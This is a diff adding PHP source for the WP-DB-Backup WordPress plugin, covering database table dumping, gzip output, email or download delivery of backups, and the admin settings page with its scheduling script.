+				wp_redirect($download_uri); 
+				exit;
+			}
+			// we do this to say we're done.
+			$this->backup_complete = true;
+		}
+	}
+
+	function admin_header() {
+		?>
+		<script type="text/javascript">
+		//<![CDATA[
+		if ( 'undefined' != typeof addLoadEvent ) {
+			addLoadEvent(function() {
+				var t = {'extra-tables-list':{name: 'other_tables[]'}, 'include-tables-list':{name: 'wp_cron_backup_tables[]'}};
+
+				for ( var k in t ) {
+					t[k].s = null;
+					var d = document.getElementById(k);
+					if ( ! d )
+						continue;
+					var ul = d.getElementsByTagName('ul').item(0);
+					if ( ul ) {
+						var lis = ul.getElementsByTagName('li');
+						if ( 3 > lis.length )
+							return;
+						var text = document.createElement('p');
+						text.className = 'instructions';
+						text.innerHTML = '<?php _e('Click and hold down <code>[SHIFT]</code> to toggle multiple checkboxes', 'wp-db-backup'); ?>';
+						ul.parentNode.insertBefore(text, ul);
+					}
+					t[k].p = d.getElementsByTagName("input");
+					for(var i=0; i < t[k].p.length; i++)
+						if(t[k].name == t[k].p[i].getAttribute('name')) {
+							t[k].p[i].id = k + '-table-' + i;
+							t[k].p[i].onkeyup = t[k].p[i].onclick = function(e) {
+								e = e ? e : event;
+								if ( 16  == e.keyCode ) 
+									return;
+								var match = /([\w-]*)-table-(\d*)/.exec(this.id);
+								var listname = match[1];
+								var that = match[2];
+								if ( null === t[listname].s )
+									t[listname].s = that;
+								else if ( e.shiftKey ) {
+									var start = Math.min(that, t[listname].s) + 1;
+									var end = Math.max(that, t[listname].s);
+									for( var j=start; j < end; j++)
+										t[listname].p[j].checked = t[listname].p[j].checked ? false : true;
+									t[listname].s = null;
+								}
+							}
+						}
+				}
+
+				<?php if ( function_exists('wp_schedule_event') ) : // needs to be at least WP 2.1 for ajax ?>
+				if ( 'undefined' == typeof XMLHttpRequest ) 
+					var xml = new ActiveXObject( navigator.userAgent.indexOf('MSIE 5') >= 0 ? 'Microsoft.XMLHTTP' : 'Msxml2.XMLHTTP' );
+				else
+					var xml = new XMLHttpRequest();
+
+				var initTimeChange = function() {
+					var timeWrap = document.getElementById('backup-time-wrap');
+					var backupTime = document.getElementById('next-backup-time');
+					if ( !! timeWrap && !! backupTime ) {
+						var span = document.createElement('span');
+						span.className = 'submit';
+						span.id = 'change-wrap';
+						span.innerHTML = '<input type="submit" id="change-backup-time" name="change-backup-time" value="<?php _e('Change','wp-db-backup'); ?>" />';
+						timeWrap.appendChild(span);
+						backupTime.ondblclick = function(e) { span.parentNode.removeChild(span); clickTime(e, backupTime); };
+						span.onclick = function(e) { span.parentNode.removeChild(span); clickTime(e, backupTime); };
+					}
+				}
+
+				var clickTime = function(e, backupTime) {
+					var tText = backupTime.innerHTML;
+					backupTime.innerHTML = '<input type="text" value="' + tText + '" name="backup-time-text" id="backup-time-text" /> <span class="submit"><input type="submit" name="save-backup-time" id="save-backup-time" value="<?php _e('Save', 'wp-db-backup'); ?>" /></span>';
+					backupTime.ondblclick = null;
+					var mainText = document.getElementById('backup-time-text');
+					mainText.focus();
+					var saveTButton = document.getElementById('save-backup-time');
+					if ( !! saveTButton )
+						saveTButton.onclick = function(e) { saveTime(backupTime, mainText); return false; };
+					if ( !! mainText )
+						mainText.onkeydown = function(e) { 
+							e = e || window.event;
+							if ( 13 == e.keyCode ) {
+								saveTime(backupTime, mainText);
+								return false;
+							}
+						}
+				}
+
+				var saveTime = function(backupTime, mainText) {
+					var tVal = mainText.value;
+
+					xml.open('POST', 'admin-ajax.php', true);
+					xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+					if ( xml.overrideMimeType )
+						xml.setRequestHeader('Connection', 'close');
+					xml.send('action=save_backup_time&_wpnonce=<?php echo wp_create_nonce($this->referer_check_key); ?>&backup-time='+tVal);
+					xml.onreadystatechange = function() {
+						if ( 4 == xml.readyState && '0' != xml.responseText ) {
+							backupTime.innerHTML = xml.responseText;
+							initTimeChange();
+						}
+					}
+				}
+
+				initTimeChange();
+				<?php endif; // wp_schedule_event exists ?>
+			});
+		}
+		//]]>
+		</script>
+		<style type="text/css">
+			.wp-db-backup-updated {
+				margin-top: 1em;
+			}
+
+			fieldset.options {
+				border: 1px solid;
+				margin-top: 1em;
+				padding: 1em;
+			}
+				fieldset.options div.tables-list {
+					float: left;
+					padding: 1em;
+				}
+
+				fieldset.options input {
+				}
+
+				fieldset.options legend {
+					font-size: larger;
+					font-weight: bold;
+					margin-bottom: .5em;
+					padding: 1em;
+				}
+		
+				fieldset.options .instructions {
+					font-size: smaller;
+				}
+
+				fieldset.options ul {
+					list-style-type: none;
+				}
+					fieldset.options li {
+						text-align: left;
+					}
+
+				fieldset.options .submit {
+					border-top: none;
+				}
+		</style>
+		<?php 
+	}
+
+	function admin_load() {
+		add_action('admin_head', array(&$this, 'admin_header'));
+	}
+
+	function admin_menu() {
+		$_page_hook = add_management_page(__('Backup','wp-db-backup'), __('Backup','wp-db-backup'), 'import', $this->basename, array(&$this, 'backup_menu'));
+		add_action('load-' . $_page_hook, array(&$this, 'admin_load'));
+		if ( function_exists('add_contextual_help') ) {
+			$text = $this->help_menu();
+			add_contextual_help($_page_hook, $text);
+		}
+	}
+
+	function fragment_menu() {
+		$page_hook = add_management_page(__('Backup','wp-db-backup'), __('Backup','wp-db-backup'), 'import', $this->basename, array(&$this, 'build_backup_script'));
+		add_action('load-' . $page_hook, array(&$this, 'admin_load'));
+	}
+
+	/** 
+	 * Add WP-DB-Backup-specific help options to the 2.7 =< WP contextual help menu
+	 * return string The text of the help menu.
+	 */
+	function help_menu() {
+		$text = "\n<a href=\"http://wordpress.org/extend/plugins/wp-db-backup/faq/\" target=\"_blank\">" . __('FAQ', 'wp-db-backup') . '</a>';
+		$text .= "\n<br />\n<a href=\"http://www.ilfilosofo.com/forum/forum/2\" target=\"_blank\">" . __('WP-DB-Backup Support Forum', 'wp-db-backup') . '</a>';
+		return $text;
+	}
+
+	function save_backup_time() {
+		if ( $this->can_user_backup() ) {
+			// try to get a time from the input string
+			$time = strtotime(strval($_POST['backup-time']));
+			if ( ! empty( $time ) && time() < $time ) {
+				wp_clear_scheduled_hook( 'wp_db_backup_cron' ); // unschedule previous
+				$scheds = (array) wp_get_schedules();
+				$name = get_option('wp_cron_backup_schedule');
+				if ( 0 != $time ) {
+					wp_schedule_event($time, $name, 'wp_db_backup_cron');
+					echo gmdate(get_option('date_format') . ' ' . get_option('time_format'), $time + (get_option('gmt_offset') * 3600));
+					exit;
+				}
+			}
+		} else {
+			die(0);
+		}
+	}
+
+	/**
+	 * Better addslashes for SQL queries.
+	 * Taken from phpMyAdmin.
+	 */
+	function sql_addslashes($a_string = '', $is_like = false) {
+		if ($is_like) $a_string = str_replace('\\', '\\\\\\\\', $a_string);
+		else $a_string = str_replace('\\', '\\\\', $a_string);
+		return str_replace('\'', '\\\'', $a_string);
+	} 
+
+	/**
+	 * Add backquotes to tables and db-names in
+	 * SQL queries. Taken from phpMyAdmin.
+	 */
+	function backquote($a_name) {
+		if (!empty($a_name) && $a_name != '*') {
+			if (is_array($a_name)) {
+				$result = array();
+				reset($a_name);
+				while(list($key, $val) = each($a_name)) 
+					$result[$key] = '`' . $val . '`';
+				return $result;
+			} else {
+				return '`' . $a_name . '`';
+			}
+		} else {
+			return $a_name;
+		}
+	} 
+
+	function open($filename = '', $mode = 'w') {
+		if ('' == $filename) return false;
+		if ($this->gzip()) 
+			$fp = @gzopen($filename, $mode);
+		else
+			$fp = @fopen($filename, $mode);
+		return $fp;
+	}
+
+	function close($fp) {
+		if ($this->gzip()) gzclose($fp);
+		else fclose($fp);
+	}
+
+	/**
+	 * Write to the backup file
+	 * @param string $query_line the line to write
+	 * @return null
+	 */
+	function stow($query_line) {
+		if ($this->gzip()) {
+			if(! @gzwrite($this->fp, $query_line))
+				$this->error(__('There was an error writing a line to the backup script:','wp-db-backup') . '  ' . $query_line . '  ' . $php_errormsg);
+		} else {
+			if(false === @fwrite($this->fp, $query_line))
+				$this->error(__('There was an error writing a line to the backup script:','wp-db-backup') . '  ' . $query_line . '  ' . $php_errormsg);
+		}
+	}
+	
+	/**
+	 * Logs any error messages
+	 * @param array $args
+	 * @return bool
+	 */
+	function error($args = array()) {
+		if ( is_string( $args ) ) 
+			$args = array('msg' => $args);
+		$args = array_merge( array('loc' => 'main', 'kind' => 'warn', 'msg' => ''), $args);
+		$this->errors[$args['kind']][] = $args['msg'];
+		if ( 'fatal' == $args['kind'] || 'frame' == $args['loc'])
+			$this->error_display($args['loc']);
+		return true;
+	}
+
+	/**
+	 * Displays error messages 
+	 * @param array $errs
+	 * @param string $loc
+	 * @return string
+	 */
+	function error_display($loc = 'main', $echo = true) {
+		$errs = $this->errors;
+		unset( $this->errors );
+		if ( ! count($errs) ) return;
+		$msg = '';
+		$err_list = array_slice(array_merge( (array) $errs['fatal'], (array) $errs['warn']), 0, 10);
+		if ( 10 == count( $err_list ) )
+			$err_list[9] = __('Subsequent errors have been omitted from this log.','wp-db-backup');
+		$wrap = ( 'frame' == $loc ) ? "<script type=\"text/javascript\">\n var msgList = ''; \n %1\$s \n if ( msgList ) alert(msgList); \n </script>" : '%1$s';
+		$line = ( 'frame' == $loc ) ? 
+			"try{ window.parent.addError('%1\$s'); } catch(e) { msgList += ' %1\$s';}\n" :
+			"%1\$s<br />\n";
+		foreach( (array) $err_list as $err )
+			$msg .= sprintf($line,str_replace(array("\n","\r"), '', addslashes($err)));
+		$msg = sprintf($wrap,$msg);
+		if ( count($errs['fatal'] ) ) {
+			if ( function_exists('wp_die') && 'frame' != $loc ) wp_die(stripslashes($msg));
+			else die($msg);
+		}
+		else {
+			if ( $echo ) echo $msg;
+			else return $msg;
+		}
+	}
+
+	/**
+	 * Taken partially from phpMyAdmin and partially from
+	 * Alain Wolf, Zurich - Switzerland
+	 * Website: http://restkultur.ch/personal/wolf/scripts/db_backup/
+	
+	 * Modified by Scott Merrill (http://www.skippy.net/) 
+	 * to use the WordPress $wpdb object
+	 * @param string $table
+	 * @param string $segment
+	 * @return void
+	 */
+	function backup_table($table, $segment = 'none') {
+		global $wpdb;
+
+		$table_structure = $wpdb->get_results("DESCRIBE $table");
+		if (! $table_structure) {
+			$this->error(__('Error getting table details','wp-db-backup') . ": $table");
+			return false;
+		}
+	
+		if(($segment == 'none') || ($segment == 0)) {
+			// Add SQL statement to drop existing table
+			$this->stow("\n\n");
+			$this->stow("#\n");
+			$this->stow("# " . sprintf(__('Delete any existing table %s','wp-db-backup'),$this->backquote($table)) . "\n");
+			$this->stow("#\n");
+			$this->stow("\n");
+			$this->stow("DROP TABLE IF EXISTS " . $this->backquote($table) . ";\n");
+			
+			// Table structure
+			// Comment in SQL-file
+			$this->stow("\n\n");
+			$this->stow("#\n");
+			$this->stow("# " . sprintf(__('Table structure of table %s','wp-db-backup'),$this->backquote($table)) . "\n");
+			$this->stow("#\n");
+			$this->stow("\n");
+			
+			$create_table = $wpdb->get_results("SHOW CREATE TABLE $table", ARRAY_N);
+			if (false === $create_table) {
+				$err_msg = sprintf(__('Error with SHOW CREATE TABLE for %s.','wp-db-backup'), $table);
+				$this->error($err_msg);
+				$this->stow("#\n# $err_msg\n#\n");
+			}
+			$this->stow($create_table[0][1] . ' ;');
+			
+			if (false === $table_structure) {
+				$err_msg = sprintf(__('Error getting table structure of %s','wp-db-backup'), $table);
+				$this->error($err_msg);
+				$this->stow("#\n# $err_msg\n#\n");
+			}
+		
+			// Comment in SQL-file
+			$this->stow("\n\n");
+			$this->stow("#\n");
+			$this->stow('# ' . sprintf(__('Data contents of table %s','wp-db-backup'),$this->backquote($table)) . "\n");
+			$this->stow("#\n");
+		}
+		
+		if(($segment == 'none') || ($segment >= 0)) {
+			$defs = array();
+			$ints = array();
+			foreach ($table_structure as $struct) {
+				if ( (0 === strpos($struct->Type, 'tinyint')) ||
+					(0 === strpos(strtolower($struct->Type), 'smallint')) ||
+					(0 === strpos(strtolower($struct->Type), 'mediumint')) ||
+					(0 === strpos(strtolower($struct->Type), 'int')) ||
+					(0 === strpos(strtolower($struct->Type), 'bigint')) ) {
+						$defs[strtolower($struct->Field)] = ( null === $struct->Default ) ? 'NULL' : $struct->Default;
+						$ints[strtolower($struct->Field)] = "1";
+				}
+			}
+			
+			
+			// Batch by $row_inc
+			
+			if($segment == 'none') {
+				$row_start = 0;
+				$row_inc = ROWS_PER_SEGMENT;
+			} else {
+				$row_start = $segment * ROWS_PER_SEGMENT;
+				$row_inc = ROWS_PER_SEGMENT;
+			}
+			
+			do {	
+				// don't include extra stuff, if so requested
+				$excs = (array) get_option('wp_db_backup_excs');
+				$where = '';
+				if ( is_array($excs['spam'] ) && in_array($table, $excs['spam']) ) {
+					$where = ' WHERE comment_approved != "spam"';
+				} elseif ( is_array($excs['revisions'] ) && in_array($table, $excs['revisions']) ) {
+					$where = ' WHERE post_type != "revision"';
+				}
+				
+				if ( !ini_get('safe_mode')) @set_time_limit(15*60);
+				$table_data = $wpdb->get_results("SELECT * FROM $table $where LIMIT {$row_start}, {$row_inc}", ARRAY_A);
+
+				$entries = 'INSERT INTO ' . $this->backquote($table) . ' VALUES (';	
+				//    \x08\\x09, not required
+				$search = array("\x00", "\x0a", "\x0d", "\x1a");
+				$replace = array('\0', '\n', '\r', '\Z');
+				if($table_data) {
+					foreach ($table_data as $row) {
+						$values = array();
+						foreach ($row as $key => $value) {
+							if ($ints[strtolower($key)]) {
+								// make sure there are no blank spots in the insert syntax,
+								// yet try to avoid quotation marks around integers
+								$value = ( null === $value || '' === $value) ? $defs[strtolower($key)] : $value;
+								$values[] = ( '' === $value ) ? "''" : $value;
+							} else {
+								$values[] = "'" . str_replace($search, $replace, $this->sql_addslashes($value)) . "'";
+							}
+						}
+						$this->stow(" \n" . $entries . implode(', ', $values) . ');');
+					}
+					$row_start += $row_inc;
+				}
+			} while((count($table_data) > 0) and ($segment=='none'));
+		}
+		
+		if(($segment == 'none') || ($segment < 0)) {
+			// Create footer/closing comment in SQL-file
+			$this->stow("\n");
+			$this->stow("#\n");
+			$this->stow("# " . sprintf(__('End of data contents of table %s','wp-db-backup'),$this->backquote($table)) . "\n");
+			$this->stow("# --------------------------------------------------------\n");
+			$this->stow("\n");
+		}
+	} // end backup_table()
+	
+	function db_backup($core_tables, $other_tables) {
+		global $table_prefix, $wpdb;
+		
+		if (is_writable($this->backup_dir)) {
+			$this->fp = $this->open($this->backup_dir . $this->backup_filename);
+			if(!$this->fp) {
+				$this->error(__('Could not open the backup file for writing!','wp-db-backup'));
+				return false;
+			}
+		} else {
+			$this->error(__('The backup directory is not writeable!','wp-db-backup'));
+			return false;
+		}
+		
+		//Begin new backup of MySql
+		$this->stow("# " . __('WordPress MySQL database backup','wp-db-backup') . "\n");
+		$this->stow("#\n");
+		$this->stow("# " . sprintf(__('Generated: %s','wp-db-backup'),date("l j. F Y H:i T")) . "\n");
+		$this->stow("# " . sprintf(__('Hostname: %s','wp-db-backup'),DB_HOST) . "\n");
+		$this->stow("# " . sprintf(__('Database: %s','wp-db-backup'),$this->backquote(DB_NAME)) . "\n");
+		$this->stow("# --------------------------------------------------------\n");
+		
+			if ( (is_array($other_tables)) && (count($other_tables) > 0) )
+			$tables = array_merge($core_tables, $other_tables);
+		else
+			$tables = $core_tables;
+		
+		foreach ($tables as $table) {
+			// Increase script execution time-limit to 15 min for every table.
+			if ( !ini_get('safe_mode')) @set_time_limit(15*60);
+			// Create the SQL statements
+			$this->stow("# --------------------------------------------------------\n");
+			$this->stow("# " . sprintf(__('Table: %s','wp-db-backup'),$this->backquote($table)) . "\n");
+			$this->stow("# --------------------------------------------------------\n");
+			$this->backup_table($table);
+		}
+				
+		$this->close($this->fp);
+		
+		if (count($this->errors)) {
+			return false;
+		} else {
+			return $this->backup_filename;
+		}
+		
+	} //wp_db_backup
+
+	/**
+	 * Sends the backed-up file via email
+	 * @param string $to
+	 * @param string $subject
+	 * @param string $message
+	 * @return bool
+	 */
+	function send_mail( $to, $subject, $message, $diskfile) {
+		global $phpmailer;
+
+		$filename = basename($diskfile);
+
+		extract( apply_filters( 'wp_mail', compact( 'to', 'subject', 'message' ) ) );
+
+		if ( !is_object( $phpmailer ) || ( strtolower(get_class( $phpmailer )) != 'phpmailer' ) ) {
+			if ( file_exists( ABSPATH . WPINC . '/class-phpmailer.php' ) )
+				require_once ABSPATH . WPINC . '/class-phpmailer.php';
+			if ( file_exists( ABSPATH . WPINC . '/class-smtp.php' ) )
+				require_once ABSPATH . WPINC . '/class-smtp.php';
+			if ( class_exists( 'PHPMailer') )
+				$phpmailer = new PHPMailer();
+		}
+
+		// try to use phpmailer directly (WP 2.2+)
+		if ( is_object( $phpmailer ) && ( strtolower(get_class( $phpmailer )) == 'phpmailer' ) ) {
+			
+			// Get the site domain and get rid of www.
+			$sitename = strtolower( $_SERVER['SERVER_NAME'] );
+			if ( substr( $sitename, 0, 4 ) == 'www.' ) {
+				$sitename = substr( $sitename, 4 );
+			}
+			$from_email = 'wordpress@' . $sitename;
+			$from_name = 'WordPress';
+
+			// Empty out the values that may be set
+			$phpmailer->ClearAddresses();
+			$phpmailer->ClearAllRecipients();
+			$phpmailer->ClearAttachments();
+			$phpmailer->ClearBCCs();
+			$phpmailer->ClearCCs();
+			$phpmailer->ClearCustomHeaders();
+			$phpmailer->ClearReplyTos();
+
+			$phpmailer->AddAddress( $to );
+			$phpmailer->AddAttachment($diskfile, $filename);
+			$phpmailer->Body = $message;
+			$phpmailer->CharSet = apply_filters( 'wp_mail_charset', get_bloginfo('charset') );
+			$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
+			$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
+			$phpmailer->IsMail();
+			$phpmailer->Subject = $subject;
+
+			do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );
+			
+			$result = @$phpmailer->Send();
+
+		// old-style: build the headers directly
+		} else {
+			$randomish = md5(time());
+			$boundary = "==WPBACKUP-$randomish";
+			$fp = fopen($diskfile,"rb");
+			$file = fread($fp,filesize($diskfile)); 
+			$this->close($fp);
+			
+			$data = chunk_split(base64_encode($file));
+			
+			$headers .= "MIME-Version: 1.0\n";
+			$headers = 'From: wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])) . "\n";
+			$headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
+		
+			// Add a multipart boundary above the plain message
+			$message = "This is a multi-part message in MIME format.\n\n" .
+		        	"--{$boundary}\n" .
+				"Content-Type: text/plain; charset=\"" . get_bloginfo('charset') . "\"\n" .
+				"Content-Transfer-Encoding: 7bit\n\n" .
+				$message . "\n\n";
+
+			// Add file attachment to the message
+			$message .= "--{$boundary}\n" .
+				"Content-Type: application/octet-stream;\n" .
+				" name=\"{$filename}\"\n" .
+				"Content-Disposition: attachment;\n" .
+				" filename=\"{$filename}\"\n" .
+				"Content-Transfer-Encoding: base64\n\n" .
+				$data . "\n\n" .
+				"--{$boundary}--\n";
+			
+			$result = @wp_mail($to, $subject, $message, $headers);
+		}
+		return $result;
+
+	}
+
+	function deliver_backup($filename = '', $delivery = 'http', $recipient = '', $location = 'main') {
+		if ('' == $filename) { return false; }
+		
+		$diskfile = $this->backup_dir . $filename;
+		if ('http' == $delivery) {
+			if (! file_exists($diskfile)) 
+				$this->error(array('kind' => 'fatal', 'msg' => sprintf(__('File not found:%s','wp-db-backup'), "&nbsp;<strong>$filename</strong><br />") . '<br /><a href="' . $this->page_url . '">' . __('Return to Backup','wp-db-backup') . '</a>'));
+			header('Content-Description: File Transfer');
+			header('Content-Type: application/octet-stream');
+			header('Content-Length: ' . filesize($diskfile));
+			header("Content-Disposition: attachment; filename=$filename");
+			$success = readfile($diskfile);
+			unlink($diskfile);
+		} elseif ('smtp' == $delivery) {
+			if (! file_exists($diskfile)) {
+				$msg = sprintf(__('File %s does not exist!','wp-db-backup'), $diskfile);
+				$this->error($msg);
+				return false;
+			}
+			if (! is_email($recipient)) {
+				$recipient = get_option('admin_email');
+			}
+			$message = sprintf(__("Attached to this email is\n   %1s\n   Size:%2s kilobytes\n",'wp-db-backup'), $filename, round(filesize($diskfile)/1024));
+			$success = $this->send_mail($recipient, get_bloginfo('name') . ' ' . __('Database Backup','wp-db-backup'), $message, $diskfile);
+
+			if ( false === $success ) {
+				$msg = __('The following errors were reported:','wp-db-backup') . "\n ";
+				if ( function_exists('error_get_last') ) {
+					$err = error_get_last();
+					$msg .= $err['message'];
+				} else {
+					$msg .= __('ERROR: The mail application has failed to deliver the backup.','wp-db-backup'); 
+				}
+				$this->error(array('kind' => 'fatal', 'loc' => $location, 'msg' => $msg));
+			} else {
+				unlink($diskfile);
+			}
+		}
+		return $success;
+	}
+	
+	function backup_menu() {
+		global $table_prefix, $wpdb;
+		$feedback = '';
+		$whoops = false;
+		
+		// did we just do a backup?  If so, let's report the status
+		if ( $this->backup_complete ) {
+			$feedback = '<div class="updated wp-db-backup-updated"><p>' . __('Backup Successful','wp-db-backup') . '!';
+			$file = $this->backup_file;
+			switch($_POST['deliver']) {
+			case 'http':
+				$feedback .= '<br />' . sprintf(__('Your backup file: <a href="%1s">%2s</a> should begin downloading shortly.','wp-db-backup'), WP_BACKUP_URL . "{$this->backup_file}", $this->backup_file);
+				break;
+			case 'smtp':
+				if (! is_email($_POST['backup_recipient'])) {
+					$feedback .= get_option('admin_email');
+				} else {
+					$feedback .= $_POST['backup_recipient'];
+				}
+				$feedback = '<br />' . sprintf(__('Your backup has been emailed to %s','wp-db-backup'), $feedback);
+				break;
+			case 'none':
+				$feedback .= '<br />' . __('Your backup file has been saved on the server. If you would like to download it now, right click and select "Save As"','wp-db-backup');
+				$feedback .= ':<br /> <a href="' . WP_BACKUP_URL . "$file\">$file</a> : " . sprintf(__('%s bytes','wp-db-backup'), filesize($this->backup_dir . $file));
+			}
+			$feedback .= '</p></div>';
+		}
+	
+		// security check
+		$this->wp_secure();  
+
+		if (count($this->errors)) {
+			$feedback .= '<div class="updated wp-db-backup-updated error"><p><strong>' . __('The following errors were reported:','wp-db-backup') . '</strong></p>';
+			$feedback .= '<p>' . $this->error_display( 'main', false ) . '</p>';
+			$feedback .= "</p></div>";
+		}
+
+		// did we just save options for wp-cron?
+		if ( (function_exists('wp_schedule_event') || function_exists('wp_cron_init')) 
+			&& isset($_POST['wp_cron_backup_options']) ) :
+			do_action('wp_db_b_update_cron_options');
+			if ( function_exists('wp_schedule_event') ) {
+				wp_clear_scheduled_hook( 'wp_db_backup_cron' ); // unschedule previous
+				$scheds = (array) wp_get_schedules();
+				$name = strval($_POST['wp_cron_schedule']);
+				$interval = ( isset($scheds[$name]['interval']) ) ? 
+					(int) $scheds[$name]['interval'] : 0;
+				update_option('wp_cron_backup_schedule', $name, false);
+				if ( 0 !== $interval ) {
+					wp_schedule_event(time() + $interval, $name, 'wp_db_backup_cron');
+				}
+			}
+			else {
+				update_option('wp_cron_backup_schedule', intval($_POST['cron_schedule']), false);
+			}
+			update_option('wp_cron_backup_tables', $_POST['wp_cron_backup_tables']);
+			if (is_email($_POST['cron_backup_recipient'])) {
+				update_option('wp_cron_backup_recipient', $_POST['cron_backup_recipient'], false);
+			}
+			$feedback .= '<div class="updated wp-db-backup-updated"><p>' . __('Scheduled Backup Options Saved!','wp-db-backup') . '</p></div>';
+		endif;
+		
+		$other_tables = array();
+		$also_backup = array();
+	
+		// Get complete db table list	
+		$all_tables = $wpdb->get_results("SHOW TABLES", ARRAY_N);
+		$all_tables = array_map(create_function('$a', 'return $a[0];'), $all_tables);
+		// Get list of WP tables that actually exist in this DB (for 1.6 compat!)
+		$wp_backup_default_tables = array_intersect($all_tables, $this->core_table_names);
+		// Get list of non-WP tables
+		$other_tables = array_diff($all_tables, $wp_backup_default_tables);
+		
+		if ('' != $feedback)
+			echo $feedback;
+
+		if ( ! $this->wp_secure() ) 	
+			return;
+
+		// Give the new dirs the same perms as wp-content.
+//		$stat = stat( ABSPATH . 'wp-content' );
+//		$dir_perms = $stat['mode'] & 0000777; // Get the permission bits.
+		$dir_perms = '0777';
+
+		// the file doesn't exist and can't create it
+		if ( ! file_exists($this->backup_dir) && ! @mkdir($this->backup_dir) ) {
+			?><div class="updated wp-db-backup-updated error"><p><?php _e('WARNING: Your backup directory does <strong>NOT</strong> exist, and we cannot create it.','wp-db-backup'); ?></p>
+			<p><?php printf(__('Using your FTP client, try to create the backup directory yourself: %s', 'wp-db-backup'), '<code>' . $this->backup_dir . '</code>'); ?></p></div><?php
+			$whoops = true;
+		// not writable due to write permissions
+		} elseif ( !is_writable($this->backup_dir) && ! @chmod($this->backup_dir, $dir_perms) ) {
+			?><div class="updated wp-db-backup-updated error"><p><?php _e('WARNING: Your backup directory is <strong>NOT</strong> writable! We cannot create the backup files.','wp-db-backup'); ?></p>
+			<p><?php printf(__('Using your FTP client, try to set the backup directory&rsquo;s write permission to %1$s or %2$s: %3$s', 'wp-db-backup'), '<code>777</code>', '<code>a+w</code>', '<code>' . $this->backup_dir . '</code>'); ?>
+			</p></div><?php 
+			$whoops = true;
+		} else {
+			$this->fp = $this->open($this->backup_dir . 'test' );
+			if( $this->fp ) { 
+				$this->close($this->fp);
+				@unlink($this->backup_dir . 'test' );
+			// the directory is not writable probably due to safe mode
+			} else {
+				?><div class="updated wp-db-backup-updated error"><p><?php _e('WARNING: Your backup directory is <strong>NOT</strong> writable! We cannot create the backup files.','wp-db-backup'); ?></p><?php 
+				if( ini_get('safe_mode') ){
+					?><p><?php _e('This problem seems to be caused by your server&rsquo;s <code>safe_mode</code> file ownership restrictions, which limit what files web applications like WordPress can create.', 'wp-db-backup'); ?></p><?php 
+				}
+				?><?php printf(__('You can try to correct this problem by using your FTP client to delete and then re-create the backup directory: %s', 'wp-db-backup'), '<code>' . $this->backup_dir . '</code>');
+				?></div><?php 
+				$whoops = true;
+			}
+		}
+
+		
+
+		if ( !file_exists($this->backup_dir . 'index.php') )
+			@ touch($this->backup_dir . 'index.php');
+		?><div class='wrap'>
+		<h2><?php _e('Backup','wp-db-backup') ?></h2>
+		<form method="post" action="">
+		<?php if ( function_exists('wp_nonce_field') ) wp_nonce_field($this->referer_check_key); ?>
+		<fieldset class="options"><legend><?php _e('Tables','wp-db-backup') ?></legend>
+		<div class="tables-list core-tables alternate">
+		<h4><?php _e('These core WordPress tables will always be backed up:','wp-db-backup') ?></h4><ul><?php
+		$excs = (array) get_option('wp_db_backup_excs');
+		foreach ($wp_backup_default_tables as $table) {
+			if ( $table == $wpdb->comments ) {
+				$checked = ( isset($excs['spam']) && is_array($excs['spam'] ) && in_array($table, $excs['spam']) ) ? ' checked=\'checked\'' : '';
+				echo "<li><input type='hidden' name='core_tables[]' value='$table' /><code>$table</code> <span class='instructions'> <input type='checkbox' name='exclude-spam[]' value='$table' $checked /> " . __('Exclude spam comments', 'wp-db-backup') . '</span></li>';
+			} elseif ( function_exists('wp_get_post_revisions') && $table == $wpdb->posts ) {
+					$checked = ( isset($excs['revisions']) && is_array($excs['revisions'] ) && in_array($table, $excs['revisions']) ) ? ' checked=\'checked\'' : '';
+				echo "<li><input type='hidden' name='core_tables[]' value='$table' /><code>$table</code> <span class='instructions'> <input type='checkbox' name='exclude-revisions[]' value='$table' $checked /> " . __('Exclude post revisions', 'wp-db-backup') . '</span></li>';
+			} else {
+				echo "<li><input type='hidden' name='core_tables[]' value='$table' /><code>$table</code></li>";
+			}
+		}
+		?></ul>
+		</div>
+		<div class="tables-list extra-tables" id="extra-tables-list">
+		<?php 
+		if (count($other_tables) > 0) { 
+			?>
+			<h4><?php _e('You may choose to include any of the following tables:','wp-db-backup'); ?></h4>
+			<ul>
+			<?php
+			foreach ($other_tables as $table) {
+				?>
+				<li><label><input type="checkbox" name="other_tables[]" value="<?php echo $table; ?>" /> <code><?php echo $table; ?></code></label>
+				<?php 
+			}
+			?></ul><?php 
+		}
+		?></div>
+		</fieldset>
+		
+		<fieldset class="options">
+			<legend><?php _e('Backup Options','wp-db-backup'); ?></legend>
+			<p><?php  _e('What to do with the backup file:','wp-db-backup'); ?></p>
+			<ul>
+			<li><label for="do_save">
+				<input type="radio" id="do_save" name="deliver" value="none" style="border:none;" />
+				<?php _e('Save to server','wp-db-backup'); 
+				echo " (<code>" . $this->backup_dir . "</code>)"; ?>
+			</label></li>
+			<li><label for="do_download">
+				<input type="radio" checked="checked" id="do_download" name="deliver" value="http" style="border:none;" />
+				<?php _e('Download to your computer','wp-db-backup'); ?>
+			</label></li>
+			<li><label for="do_email">
+				<input type="radio" name="deliver" id="do_email" value="smtp" style="border:none;" />
+				<?php _e('Email backup to:','wp-db-backup'); ?>
+				<input type="text" name="backup_recipient" size="20" value="<?php echo get_option('admin_email'); ?>" />
+			</label></li>
+			</ul>
+			<?php if ( ! $whoops ) : ?>
+			<input type="hidden" name="do_backup" id="do_backup" value="backup" /> 
+			<p class="submit">
+				<input type="submit" name="submit" onclick="document.getElementById('do_backup').value='fragments';" value="<?php _e('Backup now!','wp-db-backup'); ?>" />
+			</p>
+			<?php else : ?>
+				<div class="updated wp-db-backup-updated error"><p><?php _e('WARNING: Your backup directory is <strong>NOT</strong> writable!','wp-db-backup'); ?></p></div>
+			<?php endif; // ! whoops ?>
+		</fieldset>
+		<?php do_action('wp_db_b_backup_opts'); ?>
+		</form>
+		
+		<?php
+		// this stuff only displays if some sort of wp-cron is available 
+		$cron = ( function_exists('wp_schedule_event') ) ? true : false; // wp-cron in WP 2.1+
+		$cron_old = ( function_exists('wp_cron_init') && ! $cron ) ? true : false; // wp-cron plugin by Skippy
+		if ( $cron_old || $cron ) :
+			echo '<fieldset class="options"><legend>' . __('Scheduled Backup','wp-db-backup') . '</legend>';
+			$datetime = get_option('date_format') . ' ' . get_option('time_format');
+			if ( $cron ) :
